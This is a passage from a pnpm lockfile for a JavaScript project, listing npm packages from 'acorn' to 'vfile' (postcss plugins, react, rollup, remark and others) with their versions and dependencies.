dependencies: - acorn: 8.16.0 - pathe: 2.0.3 - pkg-types: 1.3.1 - ufo: 1.6.3 - - modern-ahocorasick@1.1.0: {} - - monaco-editor@0.55.1: - dependencies: - dompurify: 3.2.7 - marked: 14.0.0 - - morgan@1.10.1: - dependencies: - basic-auth: 2.0.1 - debug: 2.6.9 - depd: 2.0.0 - on-finished: 2.3.0 - on-headers: 1.1.0 - transitivePeerDependencies: - - supports-color - - mri@1.2.0: {} - - mrmime@1.0.1: {} - - ms@2.0.0: {} - - ms@2.1.3: {} - - nanoid@3.3.11: {} - - natural-compare@1.4.0: {} - - negotiator@0.6.3: {} - - negotiator@0.6.4: {} - - node-exports-info@1.6.0: - dependencies: - array.prototype.flatmap: 1.3.3 - es-errors: 1.3.0 - object.entries: 1.1.9 - semver: 6.3.1 - - node-releases@2.0.27: {} - - normalize-package-data@5.0.0: - dependencies: - hosted-git-info: 6.1.3 - is-core-module: 2.16.1 - semver: 7.7.4 - validate-npm-package-license: 3.0.4 - - normalize-path@3.0.0: {} - - normalize-url@6.1.0: {} - - npm-install-checks@6.3.0: - dependencies: - semver: 7.7.4 - - npm-normalize-package-bin@3.0.1: {} - - npm-package-arg@10.1.0: - dependencies: - hosted-git-info: 6.1.3 - proc-log: 3.0.0 - semver: 7.7.4 - validate-npm-package-name: 5.0.1 - - npm-pick-manifest@8.0.2: - dependencies: - npm-install-checks: 6.3.0 - npm-normalize-package-bin: 3.0.1 - npm-package-arg: 10.1.0 - semver: 7.7.4 - - npm-run-path@4.0.1: - dependencies: - path-key: 3.1.1 - - nth-check@2.1.1: - dependencies: - boolbase: 1.0.0 - - object-assign@4.1.1: {} - - object-inspect@1.13.4: {} - - object-keys@1.1.1: {} - - object.assign@4.1.7: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-object-atoms: 1.1.1 - has-symbols: 1.1.0 - object-keys: 1.1.1 - - object.entries@1.1.9: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-object-atoms: 1.1.1 - - object.fromentries@2.0.8: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-object-atoms: 1.1.1 - - object.values@1.2.1: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-object-atoms: 1.1.1 - - on-finished@2.3.0: - dependencies: - ee-first: 1.1.1 - - on-finished@2.4.1: - dependencies: - ee-first: 1.1.1 - - on-headers@1.1.0: {} - - once@1.4.0: - dependencies: - wrappy: 1.0.2 - - onetime@5.1.2: - dependencies: - mimic-fn: 2.1.0 - - optionator@0.9.4: - dependencies: - deep-is: 0.1.4 - fast-levenshtein: 2.0.6 - levn: 0.4.1 - prelude-ls: 1.2.1 - type-check: 0.4.0 - word-wrap: 1.2.5 - - ora@5.4.1: - dependencies: - bl: 4.1.0 - chalk: 4.1.2 - cli-cursor: 3.1.0 - cli-spinners: 2.9.2 - is-interactive: 1.0.0 - is-unicode-supported: 0.1.0 - log-symbols: 4.1.0 - strip-ansi: 6.0.1 - wcwidth: 1.0.1 - - outdent@0.8.0: {} - - own-keys@1.0.1: - dependencies: - get-intrinsic: 1.3.0 - object-keys: 1.1.1 - safe-push-apply: 1.0.0 - - p-finally@1.0.0: {} - - p-limit@3.1.0: - dependencies: - yocto-queue: 0.1.0 - - p-locate@5.0.0: - dependencies: - p-limit: 3.1.0 - - p-map@4.0.0: - dependencies: - aggregate-error: 3.1.0 - - p-queue@6.6.2: - dependencies: - eventemitter3: 4.0.7 - p-timeout: 3.2.0 - - p-timeout@3.2.0: - dependencies: - p-finally: 1.0.0 - - package-json-from-dist@1.0.1: {} - - pako@0.2.9: {} - - parent-module@1.0.1: - dependencies: - callsites: 3.1.0 - - parse-entities@4.0.2: - dependencies: - '@types/unist': 2.0.11 - character-entities-legacy: 3.0.0 - character-reference-invalid: 2.0.1 - decode-named-character-reference: 1.3.0 - is-alphanumerical: 2.0.1 - is-decimal: 2.0.1 - is-hexadecimal: 2.0.1 - - parse-ms@2.1.0: {} - - parseurl@1.3.3: {} - - path-exists@4.0.0: {} - - path-is-absolute@1.0.1: {} - - path-key@3.1.1: {} - - path-parse@1.0.7: {} - - path-scurry@1.11.1: - dependencies: - lru-cache: 10.4.3 - minipass: 7.1.3 - - path-to-regexp@0.1.12: {} - - path-type@4.0.0: {} - - pathe@1.1.2: {} - - pathe@2.0.3: {} - - peek-stream@1.1.3: - dependencies: - buffer-from: 1.1.2 - duplexify: 3.7.1 - through2: 2.0.5 - - periscopic@3.1.0: - dependencies: - '@types/estree': 1.0.8 - estree-walker: 3.0.3 - is-reference: 3.0.3 - - picocolors@1.1.1: {} - - picomatch@2.3.1: {} - - picomatch@4.0.3: {} - - pidtree@0.6.0: {} - - pify@5.0.0: {} - - pkg-types@1.3.1: - dependencies: - confbox: 0.1.8 - mlly: 1.8.0 - pathe: 2.0.3 - - pkg-types@2.3.0: - dependencies: - confbox: 0.2.4 - exsolve: 1.0.8 - pathe: 2.0.3 - - playwright-core@1.58.2: {} - - playwright@1.58.2: - dependencies: - playwright-core: 1.58.2 - optionalDependencies: - fsevents: 2.3.2 - - possible-typed-array-names@1.1.0: {} - - postcss-calc@8.2.4(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-selector-parser: 6.1.2 - postcss-value-parser: 4.2.0 - - postcss-colormin@5.3.1(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-api: 3.0.0 - colord: 2.9.3 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-convert-values@5.1.3(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-discard-comments@5.1.2(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-discard-duplicates@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-discard-empty@5.1.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-discard-overridden@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-load-config@3.1.4(postcss@8.5.8): - dependencies: - lilconfig: 2.1.0 - yaml: 1.10.2 - optionalDependencies: - postcss: 8.5.8 - - postcss-load-config@4.0.2(postcss@8.5.8): - dependencies: - lilconfig: 3.1.3 - yaml: 2.8.2 - optionalDependencies: - postcss: 8.5.8 - - postcss-merge-longhand@5.1.7(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - stylehacks: 5.1.1(postcss@8.5.8) - - postcss-merge-rules@5.1.4(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-api: 3.0.0 - cssnano-utils: 3.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-selector-parser: 6.1.2 - - postcss-minify-font-values@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-minify-gradients@5.1.1(postcss@8.5.8): - dependencies: - colord: 2.9.3 - cssnano-utils: 3.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-minify-params@5.1.4(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - cssnano-utils: 3.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-minify-selectors@5.2.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-selector-parser: 6.1.2 - - postcss-modules-extract-imports@3.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-modules-local-by-default@4.2.0(postcss@8.5.8): - dependencies: - icss-utils: 5.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-selector-parser: 7.1.1 - postcss-value-parser: 4.2.0 - - postcss-modules-scope@3.2.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-selector-parser: 7.1.1 - - postcss-modules-values@4.0.0(postcss@8.5.8): - dependencies: - icss-utils: 5.1.0(postcss@8.5.8) - postcss: 8.5.8 - - postcss-modules@4.3.1(postcss@8.5.8): - dependencies: - generic-names: 4.0.0 - icss-replace-symbols: 1.1.0 - lodash.camelcase: 4.3.0 - postcss: 8.5.8 - postcss-modules-extract-imports: 3.1.0(postcss@8.5.8) - postcss-modules-local-by-default: 4.2.0(postcss@8.5.8) - postcss-modules-scope: 3.2.1(postcss@8.5.8) - postcss-modules-values: 4.0.0(postcss@8.5.8) - string-hash: 1.1.3 - - postcss-modules@6.0.1(postcss@8.5.8): - dependencies: - generic-names: 4.0.0 - icss-utils: 5.1.0(postcss@8.5.8) - lodash.camelcase: 4.3.0 - postcss: 8.5.8 - postcss-modules-extract-imports: 3.1.0(postcss@8.5.8) - postcss-modules-local-by-default: 4.2.0(postcss@8.5.8) - postcss-modules-scope: 3.2.1(postcss@8.5.8) - postcss-modules-values: 4.0.0(postcss@8.5.8) - string-hash: 1.1.3 - - postcss-normalize-charset@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - postcss-normalize-display-values@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-positions@5.1.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-repeat-style@5.1.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-string@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-timing-functions@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-unicode@5.1.1(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-url@5.1.0(postcss@8.5.8): - dependencies: - normalize-url: 6.1.0 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-normalize-whitespace@5.1.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-ordered-values@5.1.3(postcss@8.5.8): - dependencies: - cssnano-utils: 3.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-reduce-initial@5.1.2(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-api: 3.0.0 - postcss: 8.5.8 - - postcss-reduce-transforms@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - postcss-selector-parser@6.1.2: - dependencies: - cssesc: 3.0.0 - util-deprecate: 1.0.2 - - postcss-selector-parser@7.1.1: - dependencies: - cssesc: 3.0.0 - util-deprecate: 1.0.2 - - postcss-svgo@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - svgo: 2.8.0 - - postcss-unique-selectors@5.1.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - postcss-selector-parser: 6.1.2 - - postcss-value-parser@4.2.0: {} - - postcss@8.5.8: - dependencies: - nanoid: 3.3.11 - picocolors: 1.1.1 - source-map-js: 1.2.1 - - prelude-ls@1.2.1: {} - - prettier@2.8.8: {} - - pretty-ms@7.0.1: - dependencies: - parse-ms: 2.1.0 - - proc-log@3.0.0: {} - - process-nextick-args@2.0.1: {} - - promise-inflight@1.0.1: {} - - promise-retry@2.0.1: - dependencies: - err-code: 2.0.3 - retry: 0.12.0 - - promise.series@0.2.0: {} - - prop-types@15.8.1: - dependencies: - loose-envify: 1.4.0 - object-assign: 4.1.1 - react-is: 16.13.1 - - property-information@6.5.0: {} - - proxy-addr@2.0.7: - dependencies: - forwarded: 0.2.0 - ipaddr.js: 1.9.1 - - pump@2.0.1: - dependencies: - end-of-stream: 1.4.5 - once: 1.4.0 - - pump@3.0.3: - dependencies: - end-of-stream: 1.4.5 - once: 1.4.0 - - pumpify@1.5.1: - dependencies: - duplexify: 3.7.1 - inherits: 2.0.4 - pump: 2.0.1 - - punycode@2.3.1: {} - - qs@6.14.2: - dependencies: - side-channel: 1.1.0 - - quansync@0.2.11: {} - - queue-microtask@1.2.3: {} - - range-parser@1.2.1: {} - - raw-body@2.5.3: - dependencies: - bytes: 3.1.2 - http-errors: 2.0.1 - iconv-lite: 0.4.24 - unpipe: 1.0.0 - - react-dom@18.3.1(react@18.3.1): - dependencies: - loose-envify: 1.4.0 - react: 18.3.1 - scheduler: 0.23.2 - - react-dom@19.2.4(react@19.2.4): - dependencies: - react: 19.2.4 - scheduler: 0.27.0 - - react-is@16.13.1: {} - - react-refresh@0.14.2: {} - - react-remove-scroll-bar@2.3.8(@types/react@18.3.28)(react@19.2.4): - dependencies: - react: 19.2.4 - react-style-singleton: 2.2.3(@types/react@18.3.28)(react@19.2.4) - tslib: 2.8.1 - optionalDependencies: - '@types/react': 18.3.28 - - react-remove-scroll@2.7.2(@types/react@18.3.28)(react@19.2.4): - dependencies: - react: 19.2.4 - react-remove-scroll-bar: 2.3.8(@types/react@18.3.28)(react@19.2.4) - react-style-singleton: 2.2.3(@types/react@18.3.28)(react@19.2.4) - tslib: 2.8.1 - use-callback-ref: 1.3.3(@types/react@18.3.28)(react@19.2.4) - use-sidecar: 1.1.3(@types/react@18.3.28)(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - - react-router-dom@6.30.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1): - dependencies: - '@remix-run/router': 1.23.2 - react: 18.3.1 - react-dom: 18.3.1(react@18.3.1) - react-router: 6.30.3(react@18.3.1) - - react-router@6.30.3(react@18.3.1): - dependencies: - '@remix-run/router': 1.23.2 - react: 18.3.1 - - react-style-singleton@2.2.3(@types/react@18.3.28)(react@19.2.4): - dependencies: - get-nonce: 1.0.1 - react: 19.2.4 - tslib: 2.8.1 - optionalDependencies: - '@types/react': 18.3.28 - - react@18.3.1: - dependencies: - loose-envify: 1.4.0 - - react@19.2.4: {} - - readable-stream@2.3.8: - dependencies: - core-util-is: 1.0.3 - inherits: 2.0.4 - isarray: 1.0.0 - process-nextick-args: 2.0.1 - safe-buffer: 5.1.2 - string_decoder: 1.1.1 - util-deprecate: 1.0.2 - - readable-stream@3.6.2: - dependencies: - inherits: 2.0.4 - string_decoder: 1.3.0 - util-deprecate: 1.0.2 - - readdirp@3.6.0: - dependencies: - picomatch: 2.3.1 - - reflect.getprototypeof@1.0.10: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - get-intrinsic: 1.3.0 - get-proto: 1.0.1 - which-builtin-type: 1.2.1 - - regexp.prototype.flags@1.5.4: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-errors: 1.3.0 - get-proto: 1.0.1 - gopd: 1.2.0 - set-function-name: 2.0.2 - - remark-frontmatter@4.0.1: - dependencies: - '@types/mdast': 3.0.15 - mdast-util-frontmatter: 1.0.1 - micromark-extension-frontmatter: 1.1.1 - unified: 10.1.2 - - remark-mdx-frontmatter@1.1.1: - dependencies: - estree-util-is-identifier-name: 1.1.0 - estree-util-value-to-estree: 1.3.0 - js-yaml: 4.1.1 - toml: 3.0.0 - - remark-mdx@2.3.0: - dependencies: - mdast-util-mdx: 2.0.1 - micromark-extension-mdxjs: 1.0.1 - transitivePeerDependencies: - - supports-color - - remark-parse@10.0.2: - dependencies: - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - unified: 10.1.2 - transitivePeerDependencies: - - supports-color - - remark-rehype@10.1.0: - dependencies: - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-to-hast: 12.3.0 - unified: 10.1.2 - - require-like@0.1.2: {} - - resolve-from@4.0.0: {} - - resolve-from@5.0.0: {} - - resolve.exports@2.0.3: {} - - resolve@1.22.11: - dependencies: - is-core-module: 2.16.1 - path-parse: 1.0.7 - supports-preserve-symlinks-flag: 1.0.0 - - resolve@2.0.0-next.6: - dependencies: - es-errors: 1.3.0 - is-core-module: 2.16.1 - node-exports-info: 1.6.0 - object-keys: 1.1.1 - path-parse: 1.0.7 - supports-preserve-symlinks-flag: 1.0.0 - - restore-cursor@3.1.0: - dependencies: - onetime: 5.1.2 - signal-exit: 3.0.7 - - retry@0.12.0: {} - - reusify@1.1.0: {} - - rimraf@3.0.2: - dependencies: - glob: 7.2.3 - - rollup-plugin-peer-deps-external@2.2.4(rollup@4.60.0): - dependencies: - rollup: 4.60.0 - - rollup-plugin-postcss@4.0.2(postcss@8.5.8): - dependencies: - chalk: 4.1.2 - concat-with-sourcemaps: 1.1.0 - cssnano: 5.1.15(postcss@8.5.8) - import-cwd: 3.0.0 - p-queue: 6.6.2 - pify: 5.0.0 - postcss: 8.5.8 - postcss-load-config: 3.1.4(postcss@8.5.8) - postcss-modules: 4.3.1(postcss@8.5.8) - promise.series: 0.2.0 - resolve: 1.22.11 - rollup-pluginutils: 2.8.2 - safe-identifier: 0.4.2 - style-inject: 0.3.0 - transitivePeerDependencies: - - ts-node - - rollup-pluginutils@2.8.2: - dependencies: - estree-walker: 0.6.1 - - rollup@4.60.0: - dependencies: - '@types/estree': 1.0.8 - optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.60.0 - '@rollup/rollup-android-arm64': 4.60.0 - '@rollup/rollup-darwin-arm64': 4.60.0 - '@rollup/rollup-darwin-x64': 4.60.0 - '@rollup/rollup-freebsd-arm64': 4.60.0 - '@rollup/rollup-freebsd-x64': 4.60.0 - '@rollup/rollup-linux-arm-gnueabihf': 4.60.0 - '@rollup/rollup-linux-arm-musleabihf': 4.60.0 - '@rollup/rollup-linux-arm64-gnu': 4.60.0 - '@rollup/rollup-linux-arm64-musl': 4.60.0 - '@rollup/rollup-linux-loong64-gnu': 4.60.0 - '@rollup/rollup-linux-loong64-musl': 4.60.0 - '@rollup/rollup-linux-ppc64-gnu': 4.60.0 - '@rollup/rollup-linux-ppc64-musl': 4.60.0 - '@rollup/rollup-linux-riscv64-gnu': 4.60.0 - '@rollup/rollup-linux-riscv64-musl': 4.60.0 - '@rollup/rollup-linux-s390x-gnu': 4.60.0 - '@rollup/rollup-linux-x64-gnu': 4.60.0 - '@rollup/rollup-linux-x64-musl': 4.60.0 - '@rollup/rollup-openbsd-x64': 4.60.0 - '@rollup/rollup-openharmony-arm64': 4.60.0 - '@rollup/rollup-win32-arm64-msvc': 4.60.0 - '@rollup/rollup-win32-ia32-msvc': 4.60.0 - '@rollup/rollup-win32-x64-gnu': 4.60.0 - '@rollup/rollup-win32-x64-msvc': 4.60.0 - fsevents: 2.3.3 - - run-parallel@1.2.0: - dependencies: - queue-microtask: 1.2.3 - - sade@1.8.1: - dependencies: - mri: 1.2.0 - - safe-array-concat@1.1.3: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - get-intrinsic: 1.3.0 - has-symbols: 1.1.0 - isarray: 2.0.5 - - safe-buffer@5.1.2: {} - - safe-buffer@5.2.1: {} - - safe-identifier@0.4.2: {} - - safe-push-apply@1.0.0: - dependencies: - es-errors: 1.3.0 - isarray: 2.0.5 - - safe-regex-test@1.1.0: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - is-regex: 1.2.1 - - safer-buffer@2.1.2: {} - - scheduler@0.23.2: - dependencies: - loose-envify: 1.4.0 - - scheduler@0.27.0: {} - - semver@6.3.1: {} - - semver@7.7.4: {} - - send@0.19.2: - dependencies: - debug: 2.6.9 - depd: 2.0.0 - destroy: 1.2.0 - encodeurl: 2.0.0 - escape-html: 1.0.3 - etag: 1.8.1 - fresh: 0.5.2 - http-errors: 2.0.1 - mime: 1.6.0 - ms: 2.1.3 - on-finished: 2.4.1 - range-parser: 1.2.1 - statuses: 2.0.2 - transitivePeerDependencies: - - supports-color - - serve-static@1.16.3: - dependencies: - encodeurl: 2.0.0 - escape-html: 1.0.3 - parseurl: 1.3.3 - send: 0.19.2 - transitivePeerDependencies: - - supports-color - - set-cookie-parser@2.7.2: {} - - set-function-length@1.2.2: - dependencies: - define-data-property: 1.1.4 - es-errors: 1.3.0 - function-bind: 1.1.2 - get-intrinsic: 1.3.0 - gopd: 1.2.0 - has-property-descriptors: 1.0.2 - - set-function-name@2.0.2: - dependencies: - define-data-property: 1.1.4 - es-errors: 1.3.0 - functions-have-names: 1.2.3 - has-property-descriptors: 1.0.2 - - set-proto@1.0.0: - dependencies: - dunder-proto: 1.0.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - - setprototypeof@1.2.0: {} - - shebang-command@2.0.0: - dependencies: - shebang-regex: 3.0.0 - - shebang-regex@3.0.0: {} - - side-channel-list@1.0.0: - dependencies: - es-errors: 1.3.0 - object-inspect: 1.13.4 - - side-channel-map@1.0.1: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - object-inspect: 1.13.4 - - side-channel-weakmap@1.0.2: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - object-inspect: 1.13.4 - side-channel-map: 1.0.1 - - side-channel@1.1.0: - dependencies: - es-errors: 1.3.0 - object-inspect: 1.13.4 - side-channel-list: 1.0.0 - side-channel-map: 1.0.1 - side-channel-weakmap: 1.0.2 - - signal-exit@3.0.7: {} - - signal-exit@4.1.0: {} - - slash@3.0.0: {} - - source-map-js@1.2.1: {} - - source-map-support@0.5.21: - dependencies: - buffer-from: 1.1.2 - source-map: 0.6.1 - - source-map@0.6.1: {} - - source-map@0.7.6: {} - - space-separated-tokens@2.0.2: {} - - spdx-correct@3.2.0: - dependencies: - spdx-expression-parse: 3.0.1 - spdx-license-ids: 3.0.23 - - spdx-exceptions@2.5.0: {} - - spdx-expression-parse@3.0.1: - dependencies: - spdx-exceptions: 2.5.0 - spdx-license-ids: 3.0.23 - - spdx-license-ids@3.0.23: {} - - ssri@10.0.6: - dependencies: - minipass: 7.1.3 - - stable@0.1.8: {} - - state-local@1.0.7: {} - - statuses@2.0.2: {} - - stop-iteration-iterator@1.1.0: - dependencies: - es-errors: 1.3.0 - internal-slot: 1.1.0 - - stream-shift@1.0.3: {} - - stream-slice@0.1.2: {} - - string-hash@1.1.3: {} - - string-width@4.2.3: - dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: 6.0.1 - - string-width@5.1.2: - dependencies: - eastasianwidth: 0.2.0 - emoji-regex: 9.2.2 - strip-ansi: 7.2.0 - - string.prototype.matchall@4.0.12: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - get-intrinsic: 1.3.0 - gopd: 1.2.0 - has-symbols: 1.1.0 - internal-slot: 1.1.0 - regexp.prototype.flags: 1.5.4 - set-function-name: 2.0.2 - side-channel: 1.1.0 - - string.prototype.repeat@1.0.0: - dependencies: - define-properties: 1.2.1 - es-abstract: 1.24.1 - - string.prototype.trim@1.2.10: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-data-property: 1.1.4 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-object-atoms: 1.1.1 - has-property-descriptors: 1.0.2 - - string.prototype.trimend@1.0.9: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-object-atoms: 1.1.1 - - string.prototype.trimstart@1.0.8: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-object-atoms: 1.1.1 - - string_decoder@1.1.1: - dependencies: - safe-buffer: 5.1.2 - - string_decoder@1.3.0: - dependencies: - safe-buffer: 5.2.1 - - stringify-entities@4.0.4: - dependencies: - character-entities-html4: 2.1.0 - character-entities-legacy: 3.0.0 - - strip-ansi@6.0.1: - dependencies: - ansi-regex: 5.0.1 - - strip-ansi@7.2.0: - dependencies: - ansi-regex: 6.2.2 - - strip-bom@3.0.0: {} - - strip-final-newline@2.0.0: {} - - strip-json-comments@3.1.1: {} - - style-inject@0.3.0: {} - - style-to-object@0.4.4: - dependencies: - inline-style-parser: 0.1.1 - - stylehacks@5.1.1(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - postcss: 8.5.8 - postcss-selector-parser: 6.1.2 - - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - - supports-preserve-symlinks-flag@1.0.0: {} - - svgo@2.8.0: - dependencies: - '@trysound/sax': 0.2.0 - commander: 7.2.0 - css-select: 4.3.0 - css-tree: 1.1.3 - csso: 4.2.0 - picocolors: 1.1.1 - stable: 0.1.8 - - tailwind-merge@3.5.0: {} - - tailwindcss-animate@1.0.7(tailwindcss@4.2.2): - dependencies: - tailwindcss: 4.2.2 - - tailwindcss@4.2.2: {} - - tapable@2.3.2: {} - - tar-fs@2.1.4: - dependencies: - chownr: 1.1.4 - mkdirp-classic: 0.5.3 - pump: 3.0.3 - tar-stream: 2.2.0 - - tar-stream@2.2.0: - dependencies: - bl: 4.1.0 - end-of-stream: 1.4.5 - fs-constants: 1.0.0 - inherits: 2.0.4 - readable-stream: 3.6.2 - - tar@6.2.1: - dependencies: - chownr: 2.0.0 - fs-minipass: 2.1.0 - minipass: 5.0.0 - minizlib: 2.1.2 - mkdirp: 1.0.4 - yallist: 4.0.0 - - text-table@0.2.0: {} - - through2@2.0.5: - dependencies: - readable-stream: 2.3.8 - xtend: 4.0.2 - - to-regex-range@5.0.1: - dependencies: - is-number: 7.0.0 - - toidentifier@1.0.1: {} - - toml@3.0.0: {} - - trim-lines@3.0.1: {} - - trough@2.2.0: {} - - ts-api-utils@1.4.3(typescript@5.9.3): - dependencies: - typescript: 5.9.3 - - tsconfig-paths@4.2.0: - dependencies: - json5: 2.2.3 - minimist: 1.2.8 - strip-bom: 3.0.0 - - tslib@2.8.1: {} - - turbo-stream@2.4.1: {} - - type-check@0.4.0: - dependencies: - prelude-ls: 1.2.1 - - type-fest@0.20.2: {} - - type-is@1.6.18: - dependencies: - media-typer: 0.3.0 - mime-types: 2.1.35 - - typed-array-buffer@1.0.3: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - is-typed-array: 1.1.15 - - typed-array-byte-length@1.0.3: - dependencies: - call-bind: 1.0.8 - for-each: 0.3.5 - gopd: 1.2.0 - has-proto: 1.2.0 - is-typed-array: 1.1.15 - - typed-array-byte-offset@1.0.4: - dependencies: - available-typed-arrays: 1.0.7 - call-bind: 1.0.8 - for-each: 0.3.5 - gopd: 1.2.0 - has-proto: 1.2.0 - is-typed-array: 1.1.15 - reflect.getprototypeof: 1.0.10 - - typed-array-length@1.0.7: - dependencies: - call-bind: 1.0.8 - for-each: 0.3.5 - gopd: 1.2.0 - is-typed-array: 1.1.15 - possible-typed-array-names: 1.1.0 - reflect.getprototypeof: 1.0.10 - - typescript@5.9.3: {} - - ufo@1.6.3: {} - - unbox-primitive@1.1.0: - dependencies: - call-bound: 1.0.4 - has-bigints: 1.1.0 - has-symbols: 1.1.0 - which-boxed-primitive: 1.1.1 - - undici-types@7.18.2: {} - - undici@6.23.0: {} - - unified@10.1.2: - dependencies: - '@types/unist': 2.0.11 - bail: 2.0.2 - extend: 3.0.2 - is-buffer: 2.0.5 - is-plain-obj: 4.1.0 - trough: 2.2.0 - vfile: 5.3.7 - - unique-filename@3.0.0: - dependencies: - unique-slug: 4.0.0 - - unique-slug@4.0.0: - dependencies: - imurmurhash: 0.1.4 - - unist-util-generated@2.0.1: {} - - unist-util-is@5.2.1: - dependencies: - '@types/unist': 2.0.11 - - unist-util-position-from-estree@1.1.2: - dependencies: - '@types/unist': 2.0.11 - - unist-util-position@4.0.4: - dependencies: - '@types/unist': 2.0.11 - - unist-util-remove-position@4.0.2: - dependencies: - '@types/unist': 2.0.11 - unist-util-visit: 4.1.2 - - unist-util-stringify-position@3.0.3: - dependencies: - '@types/unist': 2.0.11 - - unist-util-visit-parents@5.1.3: - dependencies: - '@types/unist': 2.0.11 - unist-util-is: 5.2.1 - - unist-util-visit@4.1.2: - dependencies: - '@types/unist': 2.0.11 - unist-util-is: 5.2.1 - unist-util-visit-parents: 5.1.3 - - universalify@2.0.1: {} - - unpipe@1.0.0: {} - - update-browserslist-db@1.2.3(browserslist@4.28.1): - dependencies: - browserslist: 4.28.1 - escalade: 3.2.0 - picocolors: 1.1.1 - - uri-js@4.4.1: - dependencies: - punycode: 2.3.1 - - use-callback-ref@1.3.3(@types/react@18.3.28)(react@19.2.4): - dependencies: - react: 19.2.4 - tslib: 2.8.1 - optionalDependencies: - '@types/react': 18.3.28 - - use-sidecar@1.1.3(@types/react@18.3.28)(react@19.2.4): - dependencies: - detect-node-es: 1.1.0 - react: 19.2.4 - tslib: 2.8.1 - optionalDependencies: - '@types/react': 18.3.28 - - util-deprecate@1.0.2: {} - - util@0.12.5: - dependencies: - inherits: 2.0.4 - is-arguments: 1.2.0 - is-generator-function: 1.1.2 - is-typed-array: 1.1.15 - which-typed-array: 1.1.20 - - utils-merge@1.0.1: {} - - uvu@0.5.6: - dependencies: - dequal: 2.0.3 - diff: 5.2.2 - kleur: 4.1.5 - sade: 1.8.1 - - valibot@1.2.0(typescript@5.9.3): - optionalDependencies: - typescript: 5.9.3 - - validate-npm-package-license@3.0.4: - dependencies: - spdx-correct: 3.2.0 - spdx-expression-parse: 3.0.1 - - validate-npm-package-name@5.0.1: {} - - vary@1.1.2: {} - - vfile-message@3.1.4: - dependencies: - '@types/unist': 2.0.11 - unist-util-stringify-position: 3.0.3 - - vfile@5.3.7: - dependencies: - '@types/unist': 2.0.11 - is-buffer: 2.0.5 - unist-util-stringify-position: 3.0.3 - vfile-message: 3.1.4 - - 